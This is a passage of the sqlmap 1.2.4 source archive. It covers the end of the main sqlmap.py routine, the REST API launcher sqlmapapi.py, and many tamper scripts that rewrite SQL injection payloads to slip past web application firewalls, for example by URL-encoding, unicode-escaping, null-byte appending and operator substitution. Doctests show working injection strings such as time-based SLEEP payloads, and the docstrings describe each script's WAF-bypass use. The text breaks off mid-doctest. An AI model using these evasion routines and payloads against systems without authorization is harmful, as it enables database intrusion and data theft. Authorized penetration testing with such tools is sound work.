"versions" logger.critical(errMsg) raise SystemExit # Patch for pip (import) environment if "sqlmap.sqlmap" in sys.modules: for _ in ("cmdLineOptions", "conf", "kb"): globals()[_] = getattr(sys.modules["lib.core.data"], _) for _ in ("SqlmapBaseException", "SqlmapShellQuitException", "SqlmapSilentQuitException", "SqlmapUserQuitException"): globals()[_] = getattr(sys.modules["lib.core.exception"], _) def main(): """ Main function of sqlmap when running from command line. """ try: checkEnvironment() setPaths(modulePath()) banner() # Store original command line options for possible later restoration cmdLineOptions.update(cmdLineParser().__dict__) initOptions(cmdLineOptions) if conf.get("api"): # heavy imports from lib.utils.api import StdDbOut from lib.utils.api import setRestAPILog # Overwrite system standard output and standard error to write # to an IPC database sys.stdout = StdDbOut(conf.taskid, messagetype="stdout") sys.stderr = StdDbOut(conf.taskid, messagetype="stderr") setRestAPILog() conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) init() if not conf.updateAll: # Postponed imports (faster start) if conf.profile: from lib.core.profiling import profile profile() elif conf.smokeTest: from lib.core.testing import smokeTest smokeTest() elif conf.liveTest: from lib.core.testing import liveTest liveTest() else: from lib.controller.controller import start try: start() except thread.error as ex: if "can't start new thread" in getSafeExString(ex): errMsg = "unable to start new threads. Please check OS (u)limits" logger.critical(errMsg) raise SystemExit else: raise except SqlmapUserQuitException: errMsg = "user quit" try: logger.error(errMsg) except KeyboardInterrupt: pass except (SqlmapSilentQuitException, bdb.BdbQuit): pass except SqlmapShellQuitException: cmdLineOptions.sqlmapShell = False except SqlmapBaseException as ex: errMsg = getSafeExString(ex) try: logger.critical(errMsg) except KeyboardInterrupt: pass raise SystemExit except KeyboardInterrupt: print errMsg = "user aborted" try: logger.error(errMsg) except KeyboardInterrupt: pass except EOFError: print errMsg = "exit" try: logger.error(errMsg) except KeyboardInterrupt: pass except SystemExit: pass except: print errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() valid = checkIntegrity() try: if valid is False: errMsg = "code integrity check failed (turning off automatic issue creation). " errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) print dataToStdout(excMsg) raise SystemExit elif any(_ in excMsg for _ in ("tamper/", "waf/")): logger.critical(errMsg) print dataToStdout(excMsg) raise SystemExit elif "MemoryError" in excMsg: errMsg = "memory exhaustion detected" logger.error(errMsg) raise SystemExit elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")): errMsg = "no space left on output device" logger.error(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")): errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.error(errMsg) raise SystemExit elif "Read-only file system" in excMsg: errMsg = "output device is mounted as read-only" logger.error(errMsg) raise SystemExit elif "OperationalError: disk I/O error" in excMsg: errMsg = "I/O error on output device" logger.error(errMsg) raise SystemExit elif "Violation of BIDI" in excMsg: errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)" logger.error(errMsg) raise SystemExit elif "_mkstemp_inner" in excMsg: errMsg = "there has been a problem while accessing temporary files" logger.error(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): errMsg = "please update the 'sqlalchemy' package" errMsg += "(Reference: https://github.com/apache/incubator-superset/issues/3447)" logger.error(errMsg) raise SystemExit elif "can't start new thread" in excMsg: errMsg = "there has been a problem while creating new thread instance. " errMsg += "Please make sure that you are not running too many processes" if not IS_WIN: errMsg += " (or increase the 'ulimit -u' value)" logger.error(errMsg) raise SystemExit elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " errMsg += "you are advised to rerun with switch '--flush-session'" logger.error(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("pymysql", "configparser")): errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" logger.error(errMsg) raise SystemExit elif "bad marshal data (unknown type code)" in excMsg: match = re.search(r"\s*(.+)\s+ValueError", excMsg) errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") errMsg += ". Please delete .pyc files on your system to fix the problem" logger.error(errMsg) raise SystemExit elif "url = url.strip()" in excMsg: dataToStdout(excMsg) print errMsg = "please contact 'miroslav@sqlmap.org' with details for this issue " errMsg += "as he is trying to reproduce it for long time" logger.error(errMsg) raise SystemExit elif kb.get("dumpKeyboardInterrupt"): raise SystemExit elif any(_ in excMsg for _ in ("Broken pipe",)): raise SystemExit for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) file_ = os.path.relpath(file_, os.path.dirname(__file__)) file_ = file_.replace("\\", '/') file_ = re.sub(r"\.\./", '/', file_).lstrip('/') excMsg = excMsg.replace(match.group(1), file_) errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) if conf.get("api") or not valid: logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL dataToStdout(excMsg) createGithubIssue(errMsg, excMsg) except KeyboardInterrupt: pass finally: kb.threadContinue = False if conf.get("showTime"): dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) kb.threadException = True if kb.get("tempDir"): for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY): for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)): try: os.remove(filepath) except OSError: pass if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))): shutil.rmtree(kb.tempDir, ignore_errors=True) if conf.get("hashDB"): try: conf.hashDB.flush(True) except KeyboardInterrupt: pass if conf.get("harFile"): with openFile(conf.harFile, "w+b") as f: json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) if cmdLineOptions.get("sqlmapShell"): cmdLineOptions.clear() conf.clear() kb.clear() main() if conf.get("api"): try: conf.databaseCursor.disconnect() except KeyboardInterrupt: pass if conf.get("dumper"): conf.dumper.flush() # short delay for thread finalization try: _ = time.time() while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT: time.sleep(0.01) except KeyboardInterrupt: pass finally: # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program if threading.activeCount() > 1: os._exit(0) if __name__ == "__main__": main() else: # cancelling postponed imports (because of Travis CI checks) from lib.controller.controller import start�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/sqlmapapi.py���������������������������������������������������������������������������0000775�0000000�0000000�00000004655�13260122637�0015373�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import sys sys.dont_write_bytecode = True __import__("lib.utils.versioncheck") # this has to be the first non-standard import import logging import optparse import warnings warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) from sqlmap import modulePath from lib.core.common import setPaths from lib.core.data import logger from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.utils.api import client from lib.utils.api import server def main(): """ REST-JSON API main function """ # Set default logging level to debug logger.setLevel(logging.DEBUG) # Initialize paths setPaths(modulePath()) # Parse command line options apiparser = optparse.OptionParser() apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true") apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true") apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store") apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store") apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") apiparser.add_option("--username", help="Basic authentication username (optional)", action="store") apiparser.add_option("--password", help="Basic authentication password (optional)", action="store") (args, _) = apiparser.parse_args() # Start the client or the server if args.server is True: server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password) elif args.client is True: client(args.host, args.port, username=args.username, password=args.password) else: apiparser.print_help() if __name__ == "__main__": main() �����������������������������������������������������������������������������������sqlmap-1.2.4/tamper/��������������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0014305�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/__init__.py���������������������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0016412�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/apostrophemask.py���������������������������������������������������������������0000664�0000000�0000000�00000001433�13260122637�0017720�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces apostrophe character with its UTF-8 full width counterpart References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * http://lukasz.pilorz.net/testy/unicode_conversion/ * http://sla.ckers.org/forum/read.php?13,11562,11850 * http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace('\'', "%EF%BC%87") if payload else payload �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/apostrophenullencode.py���������������������������������������������������������0000664�0000000�0000000�00000000763�13260122637�0021122�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces apostrophe character with its illegal double unicode counterpart >>> tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' """ return payload.replace('\'', "%00%27") if payload else payload �������������sqlmap-1.2.4/tamper/appendnullbyte.py���������������������������������������������������������������0000664�0000000�0000000�00000001740�13260122637�0017707�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS)) def tamper(payload, **kwargs): """ Appends encoded NULL byte character at the end of payload Requirement: * Microsoft Access Notes: * Useful to bypass weak web application firewalls when the back-end database management system is Microsoft Access - further uses are also possible Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection >>> tamper('1 AND 1=1') '1 AND 1=1%00' """ return "%s%%00" % payload if payload else payload ��������������������������������sqlmap-1.2.4/tamper/base64encode.py�����������������������������������������������������������������0000664�0000000�0000000�00000001041�13260122637�0017115�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import base64 from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Base64 all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/between.py����������������������������������������������������������������������0000664�0000000�0000000�00000003306�13260122637�0016312�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' Replaces equals operator ('=') with 'BETWEEN # AND #' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases >>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--') '1 AND A BETWEEN B AND B--' """ retVal = payload if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload) if retVal == payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) return retVal ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/bluecoat.py���������������������������������������������������������������������0000664�0000000�0000000�00000002442�13260122637�0016457�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE Requirement: * Blue Coat SGOS with WAF activated as documented in https://kb.bluecoat.com/index?page=content&id=FAQ2147 Tested against: * MySQL 5.1, SGOS Notes: * Useful to bypass Blue Coat's recommended WAF rule configuration >>> tamper('SELECT id FROM users WHERE id = 1') 'SELECT%09id FROM%09users WHERE%09id LIKE 1' """ def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "%s%%09" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) retVal = retVal.replace("%09 ", "%09") return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/chardoubleencode.py�������������������������������������������������������������0000664�0000000�0000000�00000002251�13260122637�0020145�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Double url-encodes all characters in a given payload (not processing already encoded) Notes: * Useful to bypass some weak web application firewalls that do not double url-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD FROM%20TABLE') '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += '%%25%s' % payload[i + 1:i + 3] i += 3 else: retVal += '%%25%.2X' % ord(payload[i]) i += 1 return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/charencode.py�������������������������������������������������������������������0000664�0000000�0000000�00000002537�13260122637�0016761�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Url-encodes all characters in a given payload (not processing already encoded) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS >>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += '%%%.2X' % ord(payload[i]) i += 1 return retVal �����������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/charunicodeencode.py������������������������������������������������������������0000664�0000000�0000000�00000003127�13260122637�0020324�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import string from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): """ Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) Requirement: * ASP * ASP.NET Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 Notes: * Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += '%%u%.4X' % ord(payload[i]) i += 1 return retVal �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/charunicodeescape.py������������������������������������������������������������0000664�0000000�0000000�00000002214�13260122637�0020323�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ Unicode-escapes non-encoded characters in a given payload (not processing already encoded) Notes: * Useful to bypass weak filtering and/or WAFs in JSON contexes >>> tamper('SELECT FIELD FROM TABLE') '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "\\u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += '\\u%.4X' % ord(payload[i]) i += 1 return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/commalesslimit.py���������������������������������������������������������������0000664�0000000�0000000�00000001665�13260122637�0017711�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' Requirement: * MySQL Tested against: * MySQL 5.0 and 5.5 >>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2' """ retVal = payload match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "") if match: retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1))) return retVal ���������������������������������������������������������������������������sqlmap-1.2.4/tamper/commalessmid.py�����������������������������������������������������������������0000664�0000000�0000000�00000002264�13260122637�0017340�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' Requirement: * MySQL Tested against: * MySQL 5.0 and 5.5 >>> tamper('MID(VERSION(), 1, 1)') 'MID(VERSION() FROM 1 FOR 1)' """ retVal = payload warnMsg = "you should consider usage of switch '--no-cast' along with " warnMsg += "tamper script '%s'" % os.path.basename(__file__).split(".")[0] singleTimeWarnMessage(warnMsg) match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "") if match: retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3))) return retVal ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/commentbeforeparentheses.py�����������������������������������������������������0000664�0000000�0000000�00000001342�13260122637�0021746�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Prepends (inline) comment before parentheses Tested against: * Microsoft SQL Server * MySQL * Oracle * PostgreSQL Notes: * Useful to bypass web application firewalls that block usage of function calls >>> tamper('SELECT ABS(1)') 'SELECT ABS/**/(1)' """ retVal = payload if payload: retVal = re.sub(r"\b(\w+)\(", "\g<1>/**/(", retVal) return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/concat2concatws.py��������������������������������������������������������������0000664�0000000�0000000�00000001732�13260122637�0017755�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the CONCAT() function >>> tamper('CONCAT(1,2)') 'CONCAT_WS(MID(CHAR(0),0,0),1,2)' """ if payload: payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") return payload ��������������������������������������sqlmap-1.2.4/tamper/equaltolike.py������������������������������������������������������������������0000664�0000000�0000000�00000002155�13260122637�0017201�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) def tamper(payload, **kwargs): """ Replaces all occurrences of operator equal ('=') with operator 'LIKE' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases >>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1' """ retVal = payload if payload: retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/escapequotes.py�����������������������������������������������������������������0000664�0000000�0000000�00000000674�13260122637�0017367�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Slash escape quotes (' and ") >>> tamper('1" AND SLEEP(5)#') '1\\\\" AND SLEEP(5)#' """ return payload.replace("'", "\\'").replace('"', '\\"') ��������������������������������������������������������������������sqlmap-1.2.4/tamper/greatest.py���������������������������������������������������������������������0000664�0000000�0000000�00000002156�13260122637�0016501�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'GREATEST' counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases >>> tamper('1 